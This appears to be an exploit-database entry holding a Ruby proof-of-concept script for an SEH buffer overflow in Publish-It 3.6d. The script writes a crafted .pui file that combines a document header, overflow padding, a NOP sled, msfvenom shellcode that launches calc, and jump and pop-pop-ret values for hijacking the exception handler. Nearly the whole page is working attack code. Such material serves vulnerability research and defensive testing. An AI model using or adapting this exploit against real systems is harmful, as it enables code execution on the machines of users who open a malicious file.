Publish-It 3.6d (.pui) - SEH Buffer Overflow Vulnerability

#!/usr/bin ruby env

# Exploit Title: Publish-It 3.6d - SEH Buffer Overflow

# Date: 8/2/2014

# Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com>

# Vendor HomePage: https://www.postersw.com

# Software Link: https://www.postersw.com/publish3.exe

# Version App: v3.6d

# Tested on: Windows 7 x86 - Version 6.1.7600

# CVE:None

# Notes:-

# .pui sample file format taken from coresecurity p.o.c

# This exploit only work if "Automatic Preview" option is enable when opening a .pui file within the Publish-IT application.

filename = "motiv.pui"

pui =

"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x3E\x00\x03\x00\xFE\xFF\x09\x00\x06\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" +

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00" +

"\xFE\xFF\xFF\xFF\x00\x00\x00\x00\xFE\xFF\xFF\xFF" +

"\x00\x00\x00\x00\x03\x00\x00\x00\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFD\xFF\xFF\xFF" +

"\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\x52\x00\x6F\x00\x6F\x00\x74\x00" +

"\x20\x00\x45\x00\x6E\x00\x74\x00\x72\x00\x79\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x05\x00" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\xFE\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x52\x00\x6F\x00\x6F\x00\x74\x00\x20\x00\x45\x00" +

"\x6E\x00\x74\x00\x72\x00\x79\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x16\x00\x05\x00\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\x01\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x40\x28\xA3\xD4\x65\x76\xCE\x01\xFE\xFF\xFF\xFF" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x44\x00" +

"\x41\x00\x54\x00\x41\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x0C\x00\x02\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x04\x00\x00\x00\x9E\x3E\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFD\xFF\xFF\xFF" +

"\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00" +

"\x08\x00\x00\x00\x09\x00\x00\x00\x0A\x00\x00\x00" +

"\x0B\x00\x00\x00\x0C\x00\x00\x00\x0D\x00\x00\x00" +

"\x0E\x00\x00\x00\x0F\x00\x00\x00\x10\x00\x00\x00" +

"\x11\x00\x00\x00\x12\x00\x00\x00\x13\x00\x00\x00" +

"\x14\x00\x00\x00\x15\x00\x00\x00\x16\x00\x00\x00" +

"\x17\x00\x00\x00\x18\x00\x00\x00\x19\x00\x00\x00" +

"\x1A\x00\x00\x00\x1B\x00\x00\x00\x1C\x00\x00\x00" +

"\x1D\x00\x00\x00\x1E\x00\x00\x00\x1F\x00\x00\x00" +

"\x20\x00\x00\x00\x21\x00\x00\x00\x22\x00\x00\x00" +

"\x23\x00\x00\x00\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" +

"\xFF\xFF\xFF\xFF\x55\x33\x35\x00\x70\x61\x67\x65" +

"\x4C\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00" +

"\xE0\x3D\x00\x00\xD0\x2F\x00\x00\x00\x00\x30\x41" +

"\x00\x00\x08\x41\x02\x00\x00\x00\x01\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\xA0\x05\x00\x00\xCD\xCC\xCC\x3D" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x01\x00\x01\x00\x66\x6F\x74\x61" +

"\x00\x0F\x00\x00\xE4\x0B\x0A\x38\xF0\x00\x00\x00" +

"\xA0\x05\x01\x00\x00\x00\x00\x00\x3A\x08\x0A\xB6" +

"\xCA\x00\x00\x00\xA0\x05\x01\x00\x00\x00\x00\x00" +

"\x14\x07\x0A\x87\xD0\x02\x00\x00\xA0\x05\x01\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x6E\x66\x6F\x6E\x02\x00\x00\x00" +

"\x00\x00\x66\x6F\x6E\x74\x00\x1E\x00\x00\x41\x72" +

"\x69\x61\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x54\x69\x6D\x65\x73\x20" +

"\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x41\x72\x69\x61\x6C\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69" +

"\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61" +

"\x6E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x62\x6F" +

"\x72\x64\x20\x00\x00\x00\x3B\x01\x34\x01\x01\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x02" +

"\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x64\x69\x73\x6C\x04\x00\x00\x00\xE8\xA1" +

"\xF8\x00\x64\x69\x73\x73\x04\x00\x00\x00\xF0\x0A" +

"\x00\x00\x64\x69\x73\x65\xB4\x00\x00\x00\x07\x00" +

"\x03\x03\x00\x00\x00\x00\x68\x0E\x04\x01\xF4\x01" +

"\x00\x00\xF4\x01\x00\x00\xEC\x3B\x00\x00\x84\x08" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x28\x00\x28\x00" +

"\x28\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00" +

"\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x69" +

"\x69\x73\x04\x00\x00\x00\x61\x00\x00\x00\x78\x9C" +

"\xE3\x65\x64\x2A\xC8\xCC\x4A\x64\xA0\x3D\x98\xC8" +

"\xB8\x80\x61\x01\x90\xA4\x83\x55\x34\x02\x17\x98" +

"\x40\xA4\x0A\x33\x04\x0E\xB4\x6B\xC8\x07\x40\x6F" +

"\x30\x01\x01\x4D\xED\x60\x84\x92\x10\x38\x0A\x46" +

"\x01\xB5\x00\xE3\x10\xCE\x79\x08\xB0\x5F\x06\x15" +

"\x07\xC8\x31\x30\x7C\x00\xE2\x09\xF2\x03\xED\xB2" +

"\x91\x09\x64\x98\x70\xE3\x51\x40\x7F\x00\xAA\x5F" +

"\x71\xE1\x51\x30\x38\x00\x00\x14\x15\x0D\x14\x64" +

"\x69\x73\x73\x04\x00\x00\x00\xF0\x0A\x00\x00\x64" +

"\x69\x73\x65\xB4\x00\x00\x00\x07\x00\x02\x00\x00" +

"\x10\x00\x00\x00\x00\x00\x00\xF4\x01\x00\x00\xFC" +

"\x08\x00\x00\xEC\x3B\x00\x00\xDC\x2D\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x28\x00\x28\x00\x28\x00\x28" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x64" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x64\x69\x69\x73\x04" +

"\x00\x00\x00\x35\x00\x00\x00\x78\x9C\xE3\x65\x64" +

"\x62\x18\x05\xC4\x81\x53\x03\xED\x00\x2A\x01\xC6" +

"\x81\x76\xC0\x28\x18\x05\xE4\x83\x61\x91\x7C\xCB" +

"\x46\x8B\xDD\x41\x05\x7E\x70\x0E\xB4\x0B\x46\x01" +

"\x32\x18\x2E\x75\xED\x70\x06\x00\xA1\xAB\x03\x20" +

"\x70\x73\x63\x61\x04\x00\x00\x00\x00\x00\x80\x3F" +

"\x62\x6B\x62\x72\x04\x00\x00\x00\xFF\xFF\xFF\xFF" +

"\x77\x6F\x77\x72\x04\x00\x00\x00\x00\x00\x00\x00" +

"\x6C\x69\x73\x70\x04\x00\x00\x00\x00\x00\x00\x00" +

"\x63\x6F\x6C\x74\x00\x01\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x6F\x70\x74\x6E\x50\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" +

"\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\xF4\x03" +

"\x00\x00\x00\x00\x00\x00\x0A\x00\x01\x00\x00\x00" +

"\x01\x00\xF4\x01\xF4\x01\xF4\x01\xF4\x01\x00\x00" +

"\x02\x00\x02\x00\x02\x00\x02\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" +

"\x01\x00\x00\x00\x70\x61\x67\x65\x40\x06\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x63\x75\x63\x6F\x40\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x6E\x73\x74\x79\x02\x00\x00\x00" +

"\x0B\x00\x73\x74\x79\x6C\x88\x06\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x68\x01\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x4E\x6F\x6E\x65" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x68\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00"

payload = "\x41" * 1086

# ./msfvenom -p windows/exec CMD=calc EXITFUNC=seh -a x86 -b "\x00\x0a\x0d" -f ruby

calc =

"\xda\xc9\xb8\xfd\x92\x70\xba\xd9\x74\x24\xf4\x5b\x29\xc9" +

"\xb1\x32\x31\x43\x17\x03\x43\x17\x83\x16\x6e\x92\x4f\x14" +

"\x67\xda\xb0\xe4\x78\xbd\x39\x01\x49\xef\x5e\x42\xf8\x3f" +

"\x14\x06\xf1\xb4\x78\xb2\x82\xb9\x54\xb5\x23\x77\x83\xf8" +

"\xb4\xb9\x0b\x56\x76\xdb\xf7\xa4\xab\x3b\xc9\x67\xbe\x3a" +

"\x0e\x95\x31\x6e\xc7\xd2\xe0\x9f\x6c\xa6\x38\xa1\xa2\xad" +

"\x01\xd9\xc7\x71\xf5\x53\xc9\xa1\xa6\xe8\x81\x59\xcc\xb7" +

"\x31\x58\x01\xa4\x0e\x13\x2e\x1f\xe4\xa2\xe6\x51\x05\x95" +

"\xc6\x3e\x38\x1a\xcb\x3f\x7c\x9c\x34\x4a\x76\xdf\xc9\x4d" +

"\x4d\xa2\x15\xdb\x50\x04\xdd\x7b\xb1\xb5\x32\x1d\x32\xb9" +

"\xff\x69\x1c\xdd\xfe\xbe\x16\xd9\x8b\x40\xf9\x68\xcf\x66" +

"\xdd\x31\x8b\x07\x44\x9f\x7a\x37\x96\x47\x22\x9d\xdc\x65" +

"\x37\xa7\xbe\xe3\xc6\x25\xc5\x4a\xc8\x35\xc6\xfc\xa1\x04" +

"\x4d\x93\xb6\x98\x84\xd0\x47\x68\x15\xcc\xd0\xd3\xcc\xad" +

"\xbc\xe3\x3a\xf1\xb8\x67\xcf\x89\x3e\x77\xba\x8c\x7b\x3f" +

"\x56\xfc\x14\xaa\x58\x53\x14\xff\x3a\x32\x86\x63\xbd"

nops = "\x90" * 16

shellcode = nops + calc

payload[722,shellcode.length] = shellcode

payload[1082-5,5] = "\xe9\x98\xfe\xff\xff" # jmp near

payload[1082,4] = [0xfffff9eb].pack('V') # jmp short

payload[1086,4] = [0x004705c9].pack('V') # ppr

data = pui + payload

File.open(filename,'wb') do |fd|

fd.write data

puts "Filename: #{filename}\nSize: #{data.length.to_s}"

end

EKU-ID: 3820	CVE:	OSVDB-ID:
Author: Muhamad Fadzil Ramli	Published: 2014-02-19	Verified:
Download:

Publish-It 3.6d (.pui) - SEH Buffer Overflow Vulnerability

Rating